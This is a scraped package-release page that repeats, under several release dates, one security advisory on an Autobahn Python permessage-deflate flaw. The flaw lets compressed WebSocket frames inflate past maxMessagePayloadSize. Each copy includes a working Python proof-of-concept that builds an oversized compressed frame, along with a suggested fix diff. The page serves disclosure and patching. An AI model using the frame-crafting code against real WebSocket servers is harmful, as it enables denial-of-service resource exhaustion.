                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Dec 15, 2020

20.8.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Aug 07, 2020

20.7.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jul 17, 2020

20.6.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
